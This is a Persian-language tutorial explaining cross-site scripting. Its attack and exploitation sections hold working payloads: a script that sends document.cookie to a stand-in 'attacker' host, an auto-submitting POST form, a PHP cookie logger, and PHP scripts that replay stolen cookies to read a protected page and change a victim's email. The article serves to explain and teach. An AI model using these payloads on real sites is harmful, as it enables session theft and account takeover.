تشریح حملات تزریق کد(Cross Site Scripting)

مقدمه
از جمله مشکلات نسبتا شایع در امنیت، برنامه های کاربردی تحت وب هستند. در واقع علی رغم پیشرفت ها هنوز حملات تزریق کد (XSS) بسیار مهلک و خطرناک اند. این نوع حملات شیوه خاص و منحصر به فردی دارند، به جای حمله مستقیم به سرور،از یک سرور آسیب پذیر به عنوان یک جنگجو برای حمله به کاربر(کلاینت) استفاده می کنند.

این شیوه  می تواند منجر به دشوارهایی در ردیابی حمله کننده گردد، به ویژه هنگامی که درخواست ها  (Requests) به طور کامل در سیستم لاگ نشوند. نوشته ها و مقالات بسیاری در مورد درج واقعی کدهای اچ تی ام ال در اسکریپت های آسیب پذیر بحث کرده اند ، اما  در اکثر آنها توضیح مختصری درباره آنچه می توان برای جلوگیری از حملات موفق انجام داد، ذکر شده . در حالی که این توضیحات تنها برای پیشگیری از بروز حملات کافی است و نه درمان و به تاثیر دقیق حملات تزریق کد به طور کامل پرداخته نشده است. در این مقاله این مطلب و احتمالات ان بررسی می شود.

تشریح حملات تزریق کد(Cross Site Scripting)
یک حمله  تزریق کد معمولا با استفاده از یک آدرس URI  خاص که مهاجم برای بازدید قربانی (قربانیان) فراهم می کند انجام می شود. حمله XSS را می توان شبیه به یک سرریز بافر (buffer overflow) در نظر گرفت، که در آن تزریق اسکریپت شبیه به نوشتن دوباره EIP است. در هر دو روش ،هنگامی که حمله موفقیت آمیز پیش رود  دو گزینه پیش روی فرد مهاجم است : قرار دادن داده های پوچ و مبتذل و یا پرش به مکان دیگر. درج داده های بی معنا در طول سرریز بافر به طور معمول نتیجه یک حمله D.O.S. است.
در صورت بروز حمله XSS ، مهاجم این امکان را می یابد تا خودسرانه اطلاعات دلخواهی را به جای اطلاعات حقیقی نمایش دهد و در واقع کنترل صفحه نمایش اصلی وب سایت را بدست گیرد. پرش به مکان دیگر در طول حمله سرریز بافر  هم نتیجه اش هدایت مهاجم به مکان جدیدی در حافظه است که در آن shellcode و یا سایر اطلاعات مهم نگهداری می شوند – به این ترتیب مهاجم اجازه می یابد که کنترل برنامه را بدست بگیرد. در چهار چوب XSS ، مهاجم در واقع قربانی خود را به محل دیگری بر روی اینترنت هدایت می کند (که معمولا تحت کنترل حمله کننده است) ،تا به این شیوه بتواند به ، وب سایت های در حال مرور قربانی و محتوای ارزشمند انها دسترسی یابد.

یافته ها
اما چگونه یک حمله تزریق کد رخ می دهد؟ حملات XSS در نتیجه درزهای امنیتی در برنامه های تحت وب سمت سرور اتفاق می افتند. دلیل دیگر بروز این حملات ریشه در داده های ورودی کاربران دارد که به درستی و مطابق اصول، کاراکترهای HTML   را بررسی نمیکنند. اگر مهاجم می تواند خودسرانه HTML  وارد کند، پس همچنین قادر است کنترل اجرا یا توقف صفحه ای از وب سایت را  تحت مجوز سایت بدست بگیرد. صفحه ای ساده که در  معرض خطر حملات تزریق کد است، می تواند کدی شبیه به این درون  خود داشته باشد:

<?php echo "Hello, {$HTTP_GET_VARS['name']}!"; ?>

هنگامی که دسترسی به این صفحه میسر شد، متغیر از طریق شیوه GET ارسال شده و به طور مستقیم در صفحه رندر شده  قرار می گیرد. از آنجا که مقدار یا متغیری به عنوان ورودی مشخص نشده، ورودی های وارد شده توسط کاربر دقیقا مطابق با فرمان metacharacters تفسیر شده ، که بسیار شبیه به تزریق SQLاست. مثلا ورود « Gavin Zuchlinski» به عنوان یک آرگومان (argument  )، خروجی به این شکل را نشان خواهد داد:

اما ارسال ورودی با HTML metacharacters باعث بروز یک خروجی غیر منتظره برای هکر می گردد :

وقتی که ورودی توسط اسکریپت قبل از رندر شدن توسط مرورگر قربانی اعتبارسنجی نشده باشد. این امر به  کدهای اچ تی ام ال تحت کنترل کاربر اجازه می دهد تا بر روی صفحه در معرض خطر قرار بگیرد. گاهی اوقات ورودی های کاربر به طور مستقیم توسط اسکریپت مورد بررسی قرار نمی گیرند. در عوض ، داده ها در یک فایل یا پایگاه داده قرار می گیرند تا بعدا برای استفاده مجدد در صفحه بازیابی شود.
 

نقاط مشترکی که در آن، حملات تزریق کد وجود دارند، یکی صفحات تایید هستند (مانند موتور های جستجو که ورودی های  کاربر را در صفحات نتایج جستجو echo می کنند) و صفحات خطا که به کاربر در پر کردن در صحیح  بخش هایی از یک فرم آنلاین کمک می کنند. معمولا در مورد دومی (و گاهی اوقات در مورد اولی) محتوای جعبه متن فرم باید عاری از کاراکترهای نقل قول و علامت بزرگتر از باشد(" <   - علامت نقل قول value  را بسته و علامت بزرگتر از، tag را می بندد).

حمله
هنگامی که یک ورودی آسیب پذیر شناسایی شد، شیوه های معتبر HTTP باید تعیین شده و انقضا پذیر باشند. روشی که متغیرها به اسکریپت هدف ارسال می شوند بسیار مهم است و باید در نظر گرفته شود؛ آیا متغیرها توسط دستورات GET یا POST ارسال شده و اصلا با کدام یک کار می کنند؟ برخی از اسکریپتها خاص اند ، ولی چندتایی هم وجود دارند که از شیوه های کنسرو مانند استفاده می کنند (مانند اسکریپتهای پی اچ پی و پرل) و ممکن است از هر دو دستور بالا استفاده کنند.

درج اسکریپت با استفاده از متد GET ساده ترین و شاید پردردسر ترین روش است. Obfuscation ممکن است باعث شود که یک کاربر زرنگ هم متوجه کد تغییر مسیر و یا سایر کدهای پرش از نقطه ای به نقطه دیگر که در نوار آدرس به کار گرفته می شوند، نگردد. این متد پریدن هنوز سوار بر دوش نشانی های اینترنتی است و به طور پیش فرض لاگ آن توسط اکثر سرورهای HTTP ثبت می شود.

ساده ترین نقطه پرش برای تغییر مسیر آدرس (redirect) کدهای جاوا اسکریپت هستند. با استفاده از این متد متغیرهای در دسترس فقط تحت آن سند ممکن است به صفحه payload  ارسال شوند. پرش های پیچیده تر شامل تگ های HTML  و دیگر آبجکت های آن می باشند. کد جاوا اسکریپتی مانند این :

document.location.replace('http://attacker/payload');

می تواند به طور کامل درج  شده و تحت کنترل  مهاجم صفحه را اجرا کند. با اصلاح کد به این :

document.location.replace ('http://attacker/payload?c='+document.cookie);

صفحه payload  در حال حاضر اطلاعات کافی در مورد سند کوکی خاص متغیر را دارا است. در مثال  تزریق کدی که در بالا ذکر شد، درج نقطه پرش در صفحه نسبتا ساده است:

http://host/hello.php?name=<script>document.location.replace('http://attacker/payload?c='%2Bdocument.cookie)</script>

به دلیل ماهیت XSS ، مهاجم نمی تواند به طور مستقیم از اسکریپت های آسیب پذیر برای رسیدن به اهداف شخصی اش بهره برداری کند. کاربر هدف باید کد تزریق شده را مشاهده کند. با فرض انکه hello.php مثال بالا در همان دامین به عنوان  پیام مدیر قرار داشته باشد، ارسال لینک به برد اصلی برای  بسیاری از قربانیان غیر قانونی خواهد بود. هنگامی که قربانی روی  پیوندی کلیک کند پروسه پرش اجرا شده و  کاربر به صفحه payload منتقل می شود. اینکه چه اقداماتی در صفحه payload  می تواند انجام می شود بعدا در این مقاله مورد بحث قرار خواهد گرفت.

اسکریپت های آسیب پذیر نسبت به دستور POST، در مقابل حملات کمی مقاوم تر هستند. از آنجا که requestهای متغیر POST  باید به طور مستقل از یک آدرس URI انتقال داده شوند، از یک صفحه میانجی استفاده می شود. هدف از صفحه میانجی مجبور کردن گیرنده برای اجرای درخواست های POST حاوی کد پرش است. کد زیر فرمی با متغیرهای تحت کنترل مهاجم است، که پس از تکمیل به نمایندگی از فرم اصلی کاربر ارسال می شود :

<form name=f method=POST action=”http://host/hello.php”> <input type=hidden name=”name” value=”<script>document.location.replace (‘http://attacker/payload?c=’+document.cookie)</script>”> </form> <script>f.submit()</script>

وقتی قربانی از این صفحه میانجی  که حاوی کد بالا است بازدید کند، این امر مرورگر کاربر را مجبور می سازد یک  درخواست POST  با متغیر زیر به hello.php ارسال کند:

<script>document.location.replace (‘http://attacker/payload?c=’+document.cookie)</script>

هدف حمله کننده اجابت شده است ؛ کد پرش در حال حاضر در صفحه های آسیب پذیر قرار گرفته است.

به جای قرار دادن کد پرش، مهاجم ممکن است انتخاب کند که کد آلوده ای در صفحه آسیب پذیر قرار دهد. همچنین با تزریق کدهای HTML  مهاجم ممکن است بخواهد محتوای صفحه مورد نظر را تغییر دهد. از این روش ممکن است برای قرار دادن فرم ورود به سایت که اطلاعات آن برای مقاصد مخرب به مهاجم فرستاده می شود، استفاده شود. این متد روش های تأیید هویت از قبیل مجوز های سایت (certificates) و کنترل دستی آدرس صفحه توسط کلاینت را دور می زند.

در مواردی که تزریق HTML در یک صفحه دینامیک (مانند guestbooks ، انجمن ها ، و یا صفحات بررسی) صورت می گیرد، در دفعات بعدی مراجعه، صفحه ممکن است شدیدا تغییر شکل پیدا کرده باشد. زیرا کد قرار داده شده متغیر است و کاملا در اختیار مهاجم قرار دارد.

بهره برداری
هنگامی که صفحه های آسیب پذیر کشف شد، کد پرش نیز ایجاد شد، کد پرش در صفحه آسیب پذیر قرار داده شد، و مرورگر قربانی کد پرش را اجرا کرد، فقط یک کار باقی می ماند. صفحه payload   باید کاری انجام دهد. این کار ممکن است به سادگی نمایش یک آگهی تبلیغاتی و یا الزام به ثبت نام برای مشاهده اطلاعات  و یا به پیچیدگی ربودن اطلاعات وبگردی کاربر باشد. با هدایت کاربر به صفحه وب ثالث حداقل یک هدف برآورده می شود: ربودن بازدید کنندگان از صفحه مقصد. کمی پیچیده تر، ثبت اطلاعات حساس (مانند کوکی) برای بهره برداری بعدی از جستجوهای کاربر است. کد زیر قادر به ثبت اطلاعات  مربوط به آی پی بازدید کننده ، سیستم عامل ، و کوکی های ذخیره شده در درایو C  است:

<?php $f = fopen(“log.txt”, “a”); fwrite($f, “IP: {$_SERVER[‘REMOTE_ADDR’]} Ref: {$_SERVER [‘HTTP_REFERER’]} Cookie: {$HTTP_GET_VARS[‘c’]}\n”); fclose($f); ?>

پس از آنکه مهاجم لیستی از کوکی های حاوی اطلاعات مفید از قبیل سشن ها (session) را جمع آوری کرد، با فرض آنکه هنوز سشن کاربر در سمت سرور باز باشد، مهاجم می تواند آن کوکی ها را برای مطابقت با سشن باز کاربر و دست یابی به اطلاعات سمت سرور تغییر دهد. با خودکار سازی پروسه بهره برداری از کوکی های دزدی، مهاجم  شانس خود را برای موفقیت و سهولت حمله افزایش می دهد. با استفاده از این متد، اسکریپت از اطلاعات تقلبی ارائه شده توسط کلاینتی که مورد حمله قرار گرفته،  برای اجرای یک وظیفه کدنویسی شده استفاده می کند. در مثال زیر اسکریپت payload از کوکی ها برای بازیابی سورس کد  یک صفحه وب محافظت شده استفاده می کند:

<?php $request = "GET /secret.php HTTP/1.0\r\n"; $request .= "Cookie: {$HTTP_GET_VARS['c']}\r\n"; $request .= "\r\n"; $s = fsockopen("host", 80, $errno, $errstr, 30); fputs($s, $request); $content = ''; while (!feof($s)) { $content .= fgets($s, 4096); } fclose($s); echo $content; ?>

در این مورد  secret.php / با استفاده از کوکی های سرقت شده بازیابی شده. پس از  ایجاد درخواست (Request)، خروجی در مرورگر print می شود. با تغییر محتوای متغیرهای درخواستی ، تقریبا هر کاری ممکن است به نام کاربر/قربانی انجام شود. مثلا کد زیر هم از متد POST برای تغییر آدرس ایمیل کاربر بدون اطلاع وی استفاده می کند :

<?php $request = "POST /profile.php HTTP/1.0\r\n"; $request .= "Cookie: {$HTTP_GET_VARS['c']}\r\n"; $request .= "\r\n"; $request .= “email=[email protected]”; $s = fsockopen("host", 80, $errno, $errstr, 30); fputs($s, $request); fclose($s); echo “<script>document.location.replace (‘http://google.com/’)</script>”; ?>

کد بالا مثالی از یک حمله کامل تزریق کد است. البته بدون payload ، حمله تمامی پتانسیل خود را نمایش نخواهد داد.
 

نتیجه
به تاثیر حملات تزریق کد به طور کامل توسط متخصصان امنیتی و یا توسعه دهندگان پرداخته نشده است. بیشتر مقالات که در مورد حملات تزریق کد نوشته شده  تنها کسری از مطالب کامل مربوط به حمله را پوشش میدهند.
حملات XSS با شناسایی داده های ورودی کاربر که به درستی اعتبارسنجی نشده باشند آغاز می شوند. هنگامی که چنین متغیری شناسایی شد، ممکن است با عمل تزریق کد از این رخنه بهره برداری شود. از آنجا که کد در سایت دیگری قرار می گیرد، می تواند از متغیر های که تنها در آن سایت خاص در دسترس هستند استفاده کند. سپس قربانی به یک اسکریپت تحت کنترل مهاجم هدایت می شود، تا اقدامات خاصی انجام گیرد.
این اقدامات ممکن است به سادگی ورود اطلاعات، و یا پیچیدگی ربودن اطلاعات حیاتی کاربران باشد. وقتی که تمام کارها با موفقیت انجام شد، حمله  تزریق کد کامل شده است.